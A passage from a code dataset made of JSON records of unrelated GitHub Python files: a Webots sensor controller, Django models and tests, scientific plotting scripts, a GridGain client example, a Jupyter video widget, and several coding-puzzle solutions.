device.get_Device('Moisture sensor1') #Field_1\n MoistureSensor2 = device.get_Device('Moisture sensor2') #Field_2\n #Enable\n MoistureSensor1.enable(timestep)\n MoistureSensor2.enable(timestep)\n \n #Temperature sensor\n TempSensor = device.get_Device('Temperature')\n #Enable\n TempSensor.enable(timestep)\n \n #Humidity\n HumidSensor = device.get_Device('Humidity')\n #Enable\n HumidSensor.enable(timestep)\n \n #Main loop\n #Get current time\n start_time = datetime.now()\n\n valve.open_valve(1)\n\n while robot.step(timestep) != -1:\n #Wait for few seconds to initialisation of world\n \n publish = Sensor_publisher()\n\n # print(\"before off\")\n # if valve.check_section_irrigation_completed(1):\n # print(\"inside off if\")\n # valve.close_valve(1)\n \n if (datetime.now() - start_time).total_seconds() > 5:\n \n #Get sensors data\n val1 = TempSensor.getValue()\n val2 = HumidSensor.getValue()\n val3 = PHsensor1.getValue()\n val4 = PHsensor2.getValue()\n val5 = MoistureSensor1.getValue()\n val6 = MoistureSensor2.getValue()\n\n\n \n #Constantly publish sensors data on their respective mqtt topic\n # publish.Temperature_publish(val1)\n # publish.Humidity_publish(val2)\n # publish.PH_publish(val3,'field1') \n # publish.PH_publish(val4,'field2') \n \n # publish.SoilMoisture_publish(val5,'field1')\n # publish.SoilMoisture_publish(val6,'field2')\n #print(\"Temperature:\",val1 , \"humidity:\",val2 , \"PH_value_Field1:\", val3 ,\"PH_value_Field2:\",val4, \"Moisture_Field1:\" , val5 , \"Moisture_Field2:\" , val6)\n \n start_time = datetime.now()\n \nif __name__ == \"__main__\":\n main()","repo_name":"ysrastogi/webots_IoT_projects","sub_path":"controlling_water_valve_moisture_sensor/controllers/sensor_controller/sensor_controller.py","file_name":"sensor_controller.py","file_ext":"py","file_size_in_byte":4609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37764803989","text":"# -*- coding: utf-8 -*-\n# @Date : 2022/6/2 下午5:05\n# @Author : Cristiano Ronalda\n\nfrom django.db import models\nfrom utils.base_model import BaseModel\n\n\nclass Testsuits(BaseModel):\n \"\"\"\n id:主键\n name:套件名称\n project:外键,所属项目\n include:包含的接口\n \"\"\"\n id = models.AutoField(verbose_name='id主键', primary_key=True, help_text='id主键')\n name = models.CharField('套件名称', max_length=200, unique=True, help_text='套件名称')\n project = models.ForeignKey('projects.Projects', on_delete=models.CASCADE,\n related_name='testsuits', help_text='所属项目')\n include = models.TextField('包含的接口', null=False, help_text='包含的接口')\n\n class Meta:\n \"\"\"\n db_table:生成的数据库表名\n verbose_name:管理界面的别名\n \"\"\"\n db_table = 'tb_testsuits'\n verbose_name = '套件信息'\n verbose_name_plural = verbose_name\n\n def __str__(self):\n \"\"\"\n db_table:生成的数据库表名\n verbose_name:管理界面的别名\n \"\"\"\n return self.name","repo_name":"hzauliyanda/django_test","sub_path":"apps/testsuites/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34050045861","text":"\"\"\"\nUnit test case for parking spot api\n./manage.py test findspot.tests.api_tests\n\"\"\"\n\nfrom django.test import Client\nfrom django.test import TestCase\nfrom findspot.models import Space\nimport os\nimport json\n\n\nclass APITests(TestCase):\n BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n fixtures = [os.path.join(BASE_DIR, 'fixtures/seed_data.json')]\n\n def setUp(self):\n self.client = Client()\n\n def tearDown(self):\n TestCase.tearDown(self)\n\n def test_list_available_parking_api(self):\n response = self.client.get(\"/spot/\", {\"lat\": 1, \"long\": 1, \"rad\": 6})\n self.assertEqual(response.status_code, 200)\n self.assertEqual(len(json.loads(response.content)), 6)\n\n def test_reserve_parking(self):\n obj = Space.objects.get(id=5)\n params = {\"parking_slot\": 5, \"btime\": 25}\n response = self.client.put('/spot/', json.dumps(params), 'application/json')\n self.assertTrue(obj.is_available)\n self.assertEqual(response.status_code, 202)\n obj = Space.objects.get(id=5)\n self.assertFalse(obj.is_available)","repo_name":"shwetabhsharan/parking-application","sub_path":"parking/findspot/tests/api_tests.py","file_name":"api_tests.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22038507157","text":"from astropy.io import fits\nimport numpy as np\nimport fitsio\nfrom astropy.table import Table,vstack,join,Column\nfrom scipy.ndimage.filters import gaussian_filter1d\nimport matplotlib.pyplot as plt\nimport scipy as sp\n\nplt.rc(\"font\", **{\"family\": \"serif\", \"serif\": [\"Computer Modern\"]})\nplt.rc(\"text\", usetex=True)\n\ng_fontsize_legend = 10\ng_fontsize_xlabel = 15\ng_fontsize_ylabel = 10\ng_fontsize_ylabel_2 = 15\ng_fontsize_xyticklabels = 16\n\ng_ylabel_flux = \"Flux [10$^{-17}$ erg s$^{-1}$ cm$^{-2}$ $\\AA^{-1}$]\"\ng_ylabel_ivar = \"$\\sigma^{-2}$\"\ng_xlabel = \"$\\lambda$ [\\AA]\"\ng_xlim = [3500,5500]\n\nspec_1 = \"spectra_bal.fits\"\nspec_2 = \"spectra_mod.fits\"\nwaveb1 = fitsio.read(spec_1,ext=2)\nwaver1 = fitsio.read(spec_1,ext=7)\nflux_b1 = fitsio.read(spec_1,ext=3)\nivar_b1 = fitsio.read(spec_1,ext=4)\nflux_r1 = fitsio.read(spec_1,ext=8)\nivar_r1 = fitsio.read(spec_1,ext=9)\nwaveb2 = fitsio.read(spec_2,ext=2)\nwaver2 = fitsio.read(spec_2,ext=7)\nflux_b2 = fitsio.read(spec_2,ext=3)\nivar_b2 = fitsio.read(spec_2,ext=4)\nflux_r2 = fitsio.read(spec_2,ext=8)\nivar_r2 = fitsio.read(spec_2,ext=9)\n\ntruth = \"truth-file.fits\"\ntru_2 = Table.read(truth, hdu = 2)\ntru_3 = Table.read(truth, hdu = 3)\ntarID_q = tru_2['TARGETID'].data #quasar\ntarID_b = tru_3['TARGETID'].data #bal\nz = tru_3['Z'].data\nAI_CIV =tru_3['AI_CIV'].data\nNCIV = tru_3['NCIV_450'].data \nvmin = tru_3['VMIN_CIV_450'].data\nvmax = tru_3['VMAX_CIV_450'].data\nbaltem = tru_3['BAL_TEMPLATEID'].data\n\n#fbal = 'bal_templates_v3.0.fits'\n#tru_1 = Table.read(fbal, hdu = 1)\n#temp = tru_1['TEMP'].data\n\ndef main():\n \n #i = 133\n k = 46\n \"\"\"\n w0 = 944.6\n array = []\n for j in range(2474):\n val = w0 + (j)*(0.3)\n array.append(val)\n wave_out = np.array(array)\n print(wave_out)\n wave = (1+z[int(i)])*wave_out\n \"\"\"\n \n fig, axarr = plt.subplots(2, sharex=True)\n axarr[0].set_title(\"Mock DESI Y1 at $z = $ 1.808\")#+ str(z[int(k)]))\n axarr[0].plot(waveb1, ivar_b1[k,:],color='red')\n #axarr[0].plot(waver1, ivar_r1[k,:],color='red')\n axarr[0].plot(waveb2, ivar_b2[k,:],color='darkblue')\n #axarr[0].plot(waver2, ivar_r2[k,:],color='blue')\n #axarr[0].vlines(4330, -2, 20, color='grey', linestyles='--')\n #axarr[0].vlines(4450, -2, 20, color='grey', linestyles='--')\n #axarr[0].vlines(6345, -2, 20, color='grey', linestyles='--')\n #axarr[0].vlines(6370, -2, 20, color='grey', linestyles='--') \n axarr[0].set_ylabel(g_ylabel_ivar, fontsize=g_fontsize_ylabel_2)\n axarr[0].set_ylim(-1,5)\n #axarr[1].plot(waveb1, flux_b1[int(i),:],color='darkblue')\n ysmoothed_b = gaussian_filter1d(flux_b1[k,:], sigma=3)\n ysmoothed_r = gaussian_filter1d(flux_r1[k,:], sigma=3)\n #axarr[1].plot(waver1,flux_r1[int(i),:],color='darkblue')\n #axarr[1].vlines(4330, -2, 20, color='grey', linestyles='--')\n #axarr[1].vlines(4450, -2, 20, color='grey', linestyles='--')\n #axarr[1].vlines(6345, -2, 20, color='grey', linestyles='--')\n #axarr[1].vlines(6370, -2, 20, color='grey', linestyles='--')\n axarr[1].plot(waveb1,ysmoothed_b,color='darkblue')\n axarr[1].plot(waver1,ysmoothed_r,color='blue')\n #axarr[1].plot(waveb2, flux_b2[int(i),:],color='blue')\n #axarr[1].plot(waver2, flux_r2[int(i),:],color='darkblue')\n #axarr[1].set_xlabel(g_xlabel, fontsize=g_fontsize_xlabel)\n axarr[1].set_ylabel(g_ylabel_flux, fontsize=g_fontsize_ylabel)\n axarr[1].set_ylim(0,10)\n axarr[1].set_xlabel(g_xlabel, fontsize=g_fontsize_xlabel)\n axarr[1].set_xlim(g_xlim)\n legend_lines = []\n legend_labels = []\n legend_lines.append(plt.Line2D((0, 0), (0, 0), color='red', linestyle='-', linewidth=2.0, markeredgecolor='red'))\n legend_lines.append(plt.Line2D((0, 0), (0, 0), color='darkblue', linestyle='-', linewidth=2.0, markeredgecolor='darkblue'))\n #legend_lines.append(plt.Line2D((0, 0), (0, 0), color='blue', linestyle='-', linewidth=2.0, markeredgecolor='blue'))\n legend_labels.append(\"Original spectrum - B band\")\n legend_labels.append(\"Masked BAL - B band\")\n #legend_labels.append(\"Masked BAL - Red channel\")\n \"\"\"\n legend_lines.append(plt.Line2D((0, 0), (0, 0), color='darkred', linestyle='-', linewidth=1.0, markeredgecolor='darkred'))\n legend_lines.append(plt.Line2D((0, 0), (0, 0), color='darkblue', linestyle='-', linewidth=1.0, markeredgecolor='darkblue'))\n legend_labels.append(\"BAL-QSO bands R\")\n legend_labels.append(\"Masked BAL bands R\")\n \"\"\"\n axarr[0].legend(legend_lines, legend_labels, loc=\"upper left\", numpoints=1, ncol=1, fontsize=g_fontsize_legend, handlelength=1.0,frameon=False)\n plt.savefig(\"ivar_flux_indx_\"+str(k)+\".pdf\")\n plt.show(fig)\n plt.close(fig)\n\nif __name__ == \"__main__\":\n main()\n \n","repo_name":"LuzGarciaP/Routines_DESI_paper","sub_path":"ivar_flux_smoothed.py","file_name":"ivar_flux_smoothed.py","file_ext":"py","file_size_in_byte":4682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20304508884","text":"# -*- coding: utf-8 -*-\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nUMB = np.loadtxt('bsResult.csv', skiprows = 12, delimiter = '\\t')\nBOOT = np.loadtxt('bsResult150.csv', skiprows = 12, delimiter = '\\t')\n\nnum = len(UMB)\nzs = []\ndiffs = []\ndiff2s = []\n\n\nfor i in range(1, num):\n diffs.append(UMB[i, 1] - UMB[i-1, 1])\n if i > 1:\n diff2s.append(diffs[-1] - diffs[-2])\n\ndiffs = np.array(diffs)\ndiff2s = np.array(diff2s)\n\ndiffs = abs(diffs)\ndiff2s = abs(diff2s)\n\n\nlin_diffs = diffs[:107]\nquad_diff2s = diff2s[107:]\n\nmean_diff = np.mean(lin_diffs)\nvar_diff = np.var(lin_diffs)\nsd_diff = np.sqrt(var_diff)\n\ncutoff = mean_diff + 1 * sd_diff\n\nfor i in range(len(lin_diffs)):\n if lin_diffs[i] > cutoff:\n zs.append(UMB[i, 0])\n\n\nmean_q = np.mean(quad_diff2s)\nvar_q = np.var(quad_diff2s)\nsd_q = np.sqrt(var_q)\n\ncutoff2 = mean_diff + 1 * sd_diff\n\nfor i in range(len(quad_diff2s)):\n if quad_diff2s[i] > cutoff:\n zs.append(UMB[107 + i, 0])\n\n\nhist, bins = np.histogram(zs, bins = 75)\nmids = []\nfor j in range(1, len(bins)):\n mids.append((bins[j] + bins[j-1])/2)\n \n\nplt.plot(UMB[:107, 0], lin_diffs, label = '1st Diff.')\nplt.plot(UMB[109:, 0], quad_diff2s, label = '2nd Diff.')\nplt.ylabel('Absolute Difference (kcal mol$^{-1}$)')\nplt.xlabel('$z$-coordinate (nm)')\nplt.legend()\nplt.tight_layout()\nplt.savefig('HairAbs')\nplt.show()\n\nplt.plot(mids, hist)\nplt.yticks(np.arange(max(hist) + 1))\nplt.xlabel('$z$-coordinate (nm)')\nplt.ylabel('Number of Spikes')\nplt.savefig('HairSpikes')\nplt.show()\n\nprint(zs)\n\n\n\nsds = BOOT[:, 2]\n\nplus_1 = UMB[:, 1] + sds\nminus_1 = UMB[:, 1] - sds\n\nplus_3 = UMB[:, 1] + 3 * sds\nminus_3 = UMB[:, 1] - 3 * sds\n\nplus_5 = UMB[:, 1] + 5 * sds\nminus_5 = UMB[:, 1] - 5 * sds\n\n\n\nplt.plot(UMB[:,0], UMB[:, 1], label = 'Calculated', color = 'blue')\n\nplt.plot(UMB[:, 0], plus_3, label = '$ \\pm 3\\sigma$', color = 'orange')\nplt.plot(UMB[:, 0], minus_3, color = 'orange')\n\nplt.plot(UMB[:, 0], plus_5, label = '$\\pm 5\\sigma$', color = 'red')\nplt.plot(UMB[:, 0], minus_5, color = 'red')\n\nplt.legend()\n\nplt.ylabel('PMF (kcal mol$^{-1}$)')\nplt.xlabel('$z$-coordinate (nm)')\n\nplt.tight_layout()\n\nplt.savefig('hairPMF')\n\nplt.show()\n","repo_name":"DTRobson/SimulationProject","sub_path":"Hairpin - Umbrella/BSplotter.py","file_name":"BSplotter.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32485192166","text":"\"\"\"\nInheritance:\n\nClass A ---> Base class / Parent class\n def add(self):\n\nClass B ---> Derived class / Child class # Single level Inheritance\n def add(self):\n\nso from Inheritance we can access members, properties and functions from another class\n\nClass A <--- Class B <--- Class C # Multilevel Inheritance\n\nClass A Class B\n Class C # Multiple Inheritance\n\n\"\"\"\nclass VehiclePrice():\n price = 100\n def driveType(self):\n print(\"4 Wheel Drive - from VehiclePrice class\")\n\nclass Car(): # For Multiple Inheritance example\n transmission = 'CVT'\n def carStart(self):\n print(\"Car can start\")\n def driveType(self):\n print(\"4 Wheel Drive - from Car class\")\n\nclass Audi(VehiclePrice, Car): # Multiple inheritance example\n fuelType = \"Electric Vehicle\"\n def theftSafety(self):\n print(\"Theft safety mechanism by Audi\")\n\naudi = Audi()\naudi.carStart()\naudi.theftSafety()\nprint(\"Transmission of Audi is: \", audi.transmission)\nprint(\"My Audi car is an {}\".format(audi.fuelType))\nprint(\"My Audi price is: Rs.\", audi.price) # Multiple inheritance example\naudi.driveType()\n\n","repo_name":"debojyotibasu/pythonProject1","sub_path":"Multiple_InheritanceExample.py","file_name":"Multiple_InheritanceExample.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74566386113","text":"from pygridgain import Client\nfrom pygridgain.datatypes import CollectionObject, MapObject, ObjectArrayObject\n\nclient = Client()\nwith client.connect('127.0.0.1', 10800):\n my_cache = client.get_or_create_cache('my cache')\n\n value = {1: 'test', 'key': 2.0}\n\n # saving ordered dictionary\n type_id = MapObject.LINKED_HASH_MAP\n my_cache.put('my dict', (type_id, value))\n result = my_cache.get('my dict')\n print(result) # (2, {1: 'test', 'key': 2.0})\n\n # saving unordered dictionary\n type_id = MapObject.HASH_MAP\n my_cache.put('my dict', (type_id, value))\n result = my_cache.get('my dict')\n print(result) # (1, {1: 'test', 'key': 2.0})\n\n type_id = CollectionObject.LINKED_LIST\n value = [1, '2', 3.0]\n\n my_cache.put('my list', (type_id, value))\n\n result = my_cache.get('my list')\n print(result) # (2, [1, '2', 3.0])\n\n type_id = CollectionObject.HASH_SET\n value = [4, 4, 'test', 5.6]\n\n my_cache.put('my set', (type_id, value))\n\n result = my_cache.get('my set')\n print(result) # (3, [5.6, 4, 'test'])\n\n type_id = ObjectArrayObject.OBJECT\n value = [7, '8', 9.0]\n\n my_cache.put(\n 'my array of objects',\n (type_id, value),\n value_hint=ObjectArrayObject # this hint is mandatory!\n )\n result = my_cache.get('my array of objects')\n print(result) # (-1, [7, '8', 9.0])\n\n my_cache.destroy()\n","repo_name":"gridgain/python-thin-client","sub_path":"examples/get_and_put_complex.py","file_name":"get_and_put_complex.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9304170903","text":"import pdb\nimport LinkedList\nfrom LinkedList import ListNode\n\nclass Solution:\n # @param A : head node of linked list\n # @param B : head node of linked list\n # @return the head node in the linked list\n def addTwoNumbers(self, A, B):\n #pdb.set_trace()\n A = self.reverseLinkedList(A)\n B = self.reverseLinkedList(B)\n if A is None:\n return B\n elif B is None:\n return A\n sum = A.val + B.val\n carry = sum / 10\n C = ListNode(sum % 10)\n returnHead = C\n A = A.next\n B = B.next\n \n while A is not None and B is not None:\n sum = A.val + B.val + carry\n carry = sum / 10\n C.next = ListNode(sum % 10)\n C = C.next\n A = A.next\n B = B.next\n \n while A is not None:\n sum = A.val + carry\n carry = sum / 10\n C.next = ListNode(sum % 10)\n C = C.next\n A = A.next\n\n while B is not None:\n sum = B.val + carry\n carry = sum / 10\n C.next = ListNode(sum % 10)\n C = C.next\n B = B.next\n \n if carry != 0:\n C.next = ListNode(carry)\n\n return returnHead\n \n def reverseLinkedList(self, A):\n prev = None\n while A is not None:\n temp = A.next\n A.next = prev\n prev = A\n A = temp\n return prev\n\n\nA = LinkedList.getRandomLinkedList(3)\nB = LinkedList.getRandomLinkedList(5)\nLinkedList.printLinkedList(A)\nLinkedList.printLinkedList(B)\n\nsol = Solution()\nC = sol.addTwoNumbers(A,B)\nLinkedList.printLinkedList(C)","repo_name":"karandevgan/Algorithms","sub_path":"AddNumbersAsList.py","file_name":"AddNumbersAsList.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37639727062","text":"\nimport time\nimport os\n\nimport IPython\nimport ipywidgets\nimport traitlets\nimport shortuuid\n\nfrom ._version import __npm_module_version__, __npm_module_name__\nfrom ordered_namespace import Struct\nfrom . import server\n\n\n__all__ = ['Video', 'TimeCode']\n\n\n@ipywidgets.register()\nclass TimeCode(ipywidgets.HTML):\n \"\"\"Nicely-formatted timecode text display\n \"\"\"\n _view_name = traitlets.Unicode('TimeCodeView').tag(sync=True)\n _view_module = traitlets.Unicode(__npm_module_name__).tag(sync=True)\n _view_module_version = traitlets.Unicode('^' + __npm_module_version__).tag(sync=True)\n\n _model_name = traitlets.Unicode('TimeCodeModel').tag(sync=True)\n _model_module = traitlets.Unicode(__npm_module_name__).tag(sync=True)\n _model_module_version = traitlets.Unicode('^' + __npm_module_version__).tag(sync=True)\n\n # Public information\n timecode = traitlets.Float().tag(sync=True)\n timebase = traitlets.Float().tag(sync=True)\n\n def __init__(self, timebase=1/30):\n \"\"\"Create new widget instance\n \"\"\"\n super().__init__()\n\n self.timebase = timebase\n\n self.layout.border = '1px solid grey'\n self.layout.justify_content = 'center'\n self.layout.align_items = 'center'\n self.layout.align_self = 'center'\n self.layout.width = 'fit-content'\n\n\n\n@ipywidgets.register()\nclass Video(ipywidgets.DOMWidget):\n \"\"\"HTML5 video player as a Jupyter widget\n \"\"\"\n _view_name = traitlets.Unicode('VideoView').tag(sync=True)\n _view_module = traitlets.Unicode(__npm_module_name__).tag(sync=True)\n _view_module_version = traitlets.Unicode('^' + __npm_module_version__).tag(sync=True)\n\n _model_name = traitlets.Unicode('VideoModel').tag(sync=True)\n _model_module = traitlets.Unicode(__npm_module_name__).tag(sync=True)\n _model_module_version = traitlets.Unicode('^' + __npm_module_version__).tag(sync=True)\n\n # Private information\n _method = traitlets.List().tag(sync=True)\n _property = traitlets.List().tag(sync=True)\n _play_pause = traitlets.Bool(False).tag(sync=True)\n _event = traitlets.Dict().tag(sync=True)\n _enable_keyboard = traitlets.Bool(True).tag(sync=True)\n\n # Public information\n src = traitlets.Unicode('').tag(sync=True)\n current_time = traitlets.Float().tag(sync=True)\n timebase = traitlets.Float().tag(sync=True)\n\n def __init__(self, source=None, timebase=1/30):\n \"\"\"Create new widget instance\n \"\"\"\n super().__init__()\n\n self.timebase = timebase\n self.properties = Struct()\n self.server = None\n self.filename = None\n\n # Manage user-defined Python callback functions for frontend events\n self._event_dispatchers = {} # ipywidgets.widget.CallbackDispatcher()\n\n if source:\n if os.path.isfile(source):\n # Setting filename starts an internal http server with support for byte-range requests\n # This makes for smooth-as-butter seeking, fast-forward, etc.\n self.filename = source\n elif src:\n # set src traitlet directly\n self.src = source\n\n # Style\n self.layout.width = '100%' # scale to fit inside parent element\n self.layout.align_self = 'center'\n\n def __del__(self):\n if self.server:\n self.server.stop()\n\n def display(self):\n IPython.display.display(self)\n\n @property\n def filename(self):\n \"\"\"Full path to local video file\n \"\"\"\n return self._filename\n\n @filename.setter\n def filename(self, fname):\n self.set_filename(fname)\n\n def set_filename(self, fname, host=None, port=None):\n \"\"\"Set filename for local video\n \"\"\"\n if not fname:\n # Supplied filename is None, '', or similar.\n # Set filename to None and shutdown server if running\n self._filename = ''\n if self.server:\n self.server.stop()\n return\n\n elif not os.path.isfile(fname):\n raise IOError('File does not exist: {}'.format(fname))\n\n # Configure internal http server for local file\n self._filename = os.path.realpath(fname)\n\n if not port:\n port = 0\n if not host:\n host = 'localhost'\n\n # Start server if not already running, update path\n path_served = os.path.dirname(self._filename)\n if not self.server:\n self.server = server.Server(path=path_served, host=host, port=port)\n self.server.start()\n else:\n self.server.path = path_served\n\n # Random version string to avoid browser caching issues\n version = '?v={}'.format(shortuuid.uuid())\n\n # Set local file URL for use by internal http server\n self.src = self.server.filename_to_url(self._filename+version)\n\n def invoke_method(self, name, *args):\n \"\"\"Invoke method on front-end HTML5 video element\n https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement\n \"\"\"\n stamp = time.time() # timestamp required to ensure unqique event\n self._method = [name, stamp, args]\n\n def set_property(self, name, value):\n \"\"\"Assign value to front-end HTML5 video element property\n https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement\n \"\"\"\n stamp = time.time() # timestamp required to ensure unqique event\n self._property = [name, stamp, value]\n\n #--------------------------------------------\n # Video activity control methods\n def play_pause(self, *args, **kwargs):\n \"\"\"Toggle video playback\n \"\"\"\n self._play_pause = not self._play_pause\n\n def play(self, *args, **kwargs):\n \"\"\"Begin video playback\n \"\"\"\n self.invoke_method('play')\n\n def pause(self, *args, **kwargs):\n \"\"\"Pause video playback\n \"\"\"\n self.invoke_method('pause')\n\n def rewind(self, *args, **kwargs):\n \"\"\"Pause video, then seek to beginning\n \"\"\"\n self.pause()\n self.current_time = 0\n\n def seek(self, time):\n \"\"\"Seek to a specific time\n \"\"\"\n self.pause()\n self.current_time = time\n\n #--------------------------------------------\n # Register Python event handlers\n # _known_event_types = []\n def on_event(self, callback, event_type='', remove=False):\n \"\"\"(un)Register a Python event=-handler functions.\n Default is to register for all event types. May be called repeatedly to set multiple\n callback functions. Supplied callback function(s) must accept two arguments: widget\n instance and event dict. Note that no checking is done to verify that supplied event type\n is valid.\n\n Non-exhaustive list of event types:\n - durationchange\n - ended\n - loadedmetadata\n - pause\n - play\n - playing\n - ratechange\n - seeked\n - seeking\n - volumechange\n - timeupdate\n\n Set keyword remove=True to unregister an existing callback function.\n \"\"\"\n # if event_type not in self._known_event_types:\n # self._known_event_types.append(event_type)\n\n if event_type not in self._event_dispatchers:\n self._event_dispatchers[event_type] = ipywidgets.widget.CallbackDispatcher()\n\n # Register with specified dispatcher\n self._event_dispatchers[event_type].register_callback(callback, remove=remove)\n\n # else:\n # # Register with all known dispatchers\n # for v in self._event_dispatchers.values():\n # v.register_callback(callback, remove=remove)\n\n def on_pause(self, callback):\n \"\"\"Register Python event handler for 'pause' event.\n Convenience wrapper around on_event().\n \"\"\"\n self.on_event('pause', callback)\n\n def on_play(self, callback):\n \"\"\"Register Python event handler for 'play' event.\n Convenience wrapper around on_event().\n \"\"\"\n self.on_event('play', callback)\n\n def on_ready(self, callback):\n \"\"\"Register Python event handler for 'ready' event.\n Convenience wrapper around on_event().\n \"\"\"\n # https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement/readyState\n self.on_event('loadedmetadata', callback)\n\n # def on_display(self, callback):\n # this method is already builtin to parent DOM Widget class\n # pass\n\n def unregister(self):\n \"\"\"Unregister all event handler functions.\n \"\"\"\n callbacks = []\n for dispatcher in self.event_dispatchers.values():\n callbacks += dispatcher.callbacks\n\n for cb in callbacks:\n self.on_event(cb, remove=True)\n\n #--------------------------------------------\n # Respond to front-end events by calling user's registered handler functions\n @traitlets.observe('current_time', '_event')\n def _handle_event(self, change):\n \"\"\"Respond to front-end backbone events\n https://traitlets.readthedocs.io/en/stable/api.html#callbacks-when-trait-attributes-change\n \"\"\"\n assert(change['type'] == 'change')\n\n if change['name'] == '_event':\n # new stuff is a dict of information from front end\n event = change['new']\n self.properties.update(event)\n elif change['name'] == 'current_time':\n # new stuff is a single number for current_time\n event = {'type': 'timeupdate',\n 'currentTime': change['new']}\n self.properties.update(event)\n else:\n # raise error or not?\n return\n\n # Call any registered event-specific handler functions\n if event['type'] in self._event_dispatchers:\n self._event_dispatchers[event['type']](self, self.properties)\n\n # Call any general event handler function\n if '' in self._event_dispatchers:\n self._event_dispatchers[''](self, self.properties)\n\n\n#------------------------------------------------\nif __name__ == '__main__':\n pass\n","repo_name":"Who8MyLunch/Jupyter_Video_Widget","sub_path":"jpy_video/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":10169,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"61"} +{"seq_id":"27477587569","text":"# https://www.hackerrank.com/challenges/palindrome-index\n\nimport sys\n\ndef is_palindrome(s):\n return s == s[::-1]\n\ndef palindrome_index(s):\n for i in range(len(s)):\n if is_palindrome(s[i+1:len(s)-i]):\n return i\n\n if is_palindrome(s[i:len(s)-i-1]):\n return len(s)-i-1\n\nq = int(raw_input().strip())\n\nfor num in range(q):\n s = raw_input().strip()\n result = palindrome_index(s)\n print(result)\n","repo_name":"imteekay/algorithms","sub_path":"competitive-programming/hacker-rank/algorithms/strings/palindrome_index.py","file_name":"palindrome_index.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":452,"dataset":"github-code","pt":"61"} +{"seq_id":"6348194524","text":"from django.urls import path, include\nfrom .views import index,about,contact,post1,post2,post3,post4,current\n\nurlpatterns = [\n path('index', index),\n path('about', about),\n path('current', current),\n path('contact', contact),\n path('post1', post1),\n path('post2', post2),\n path('post3', post3),\n path('post4', post4),\n]\n","repo_name":"hecowart/MissingPersons1","sub_path":"DjangoMP1/patron/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23386156871","text":"\r\ndef line2intlist(line):\r\n list = line.split()\r\n numbers = [ int(x) for x in list ]\r\n return numbers\r\n\t\r\ndef processLawn(lawnSize, lawn):\r\n\trowCount = lawnSize[0]\r\n\tcolCount = lawnSize[1]\r\n\t\r\n\tlawnCellVisiblity = []\r\n\tfor y in xrange(0, rowCount):\r\n\t\tlawnCellVisiblity.append([])\r\n\t\tfor x in xrange(0, colCount):\r\n\t\t\tlawnCellVisiblity[y].append([0, 0])\r\n\t\r\n\t#for y in xrange(0, rowCount):\r\n\t#\tprint lawnCellVisiblity[y]\r\n\t\r\n\t# Scan from left to right\r\n\tfor y in xrange(0, rowCount):\r\n\t\tminVisibleHeight = 0 # Every cell with height >= minVisibleHeight = visible\r\n\t\tfor x in xrange(0, colCount):\r\n\t\t\tcurrentHeight = lawn[y][x]\r\n\t\t\tif currentHeight >= minVisibleHeight:\r\n\t\t\t\tlawnCellVisiblity[y][x][0] += 1\r\n\t\t\t\tminVisibleHeight = currentHeight;\r\n\t\r\n\t#for y in xrange(0, rowCount):\r\n\t#\tprint lawnCellVisiblity[y]\r\n\t\r\n\t# Scan from right to left\r\n\tfor y in xrange(0, rowCount):\r\n\t\tminVisibleHeight = 0 # Every cell with height >= minVisibleHeight = visible\r\n\t\tfor x in reversed(xrange(0, colCount)):\r\n\t\t\tcurrentHeight = lawn[y][x]\r\n\t\t\tif currentHeight >= minVisibleHeight:\r\n\t\t\t\tlawnCellVisiblity[y][x][0] += 1\r\n\t\t\t\tminVisibleHeight = currentHeight;\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t# Scan from up to down\r\n\tfor x in xrange(0, colCount):\r\n\t\tminVisibleHeight = 0 # Every cell with height >= minVisibleHeight = visible\r\n\t\tfor y in xrange(0, rowCount):\r\n\t\t\tcurrentHeight = lawn[y][x]\r\n\t\t\tif currentHeight >= minVisibleHeight:\r\n\t\t\t\tlawnCellVisiblity[y][x][1] += 1\r\n\t\t\t\tminVisibleHeight = currentHeight;\r\n\t\r\n\t# Scan from down to up\r\n\tfor x in xrange(0, colCount):\r\n\t\tminVisibleHeight = 0 # Every cell with height >= minVisibleHeight = visible\r\n\t\tfor y in reversed(xrange(0, rowCount)):\r\n\t\t\tcurrentHeight = lawn[y][x]\r\n\t\t\tif currentHeight >= minVisibleHeight:\r\n\t\t\t\tlawnCellVisiblity[y][x][1] += 1\r\n\t\t\t\tminVisibleHeight = currentHeight;\r\n\t\r\n\teveryCellIsVisible = True\r\n\tfor y in xrange(0, rowCount):\r\n\t\tif not everyCellIsVisible: break\r\n\t\tfor x in xrange(0, colCount):\r\n\t\t\tif not (lawnCellVisiblity[y][x][0] == 2 or lawnCellVisiblity[y][x][1] == 2):\r\n\t\t\t\teveryCellIsVisible = False\r\n\t\t\t\tbreak\r\n\t\r\n\treturn \"YES\" if everyCellIsVisible else \"NO\"\r\n\r\ntestcases = input()\r\n\r\nfor caseNum in xrange(0, testcases):\r\n\tlawn = 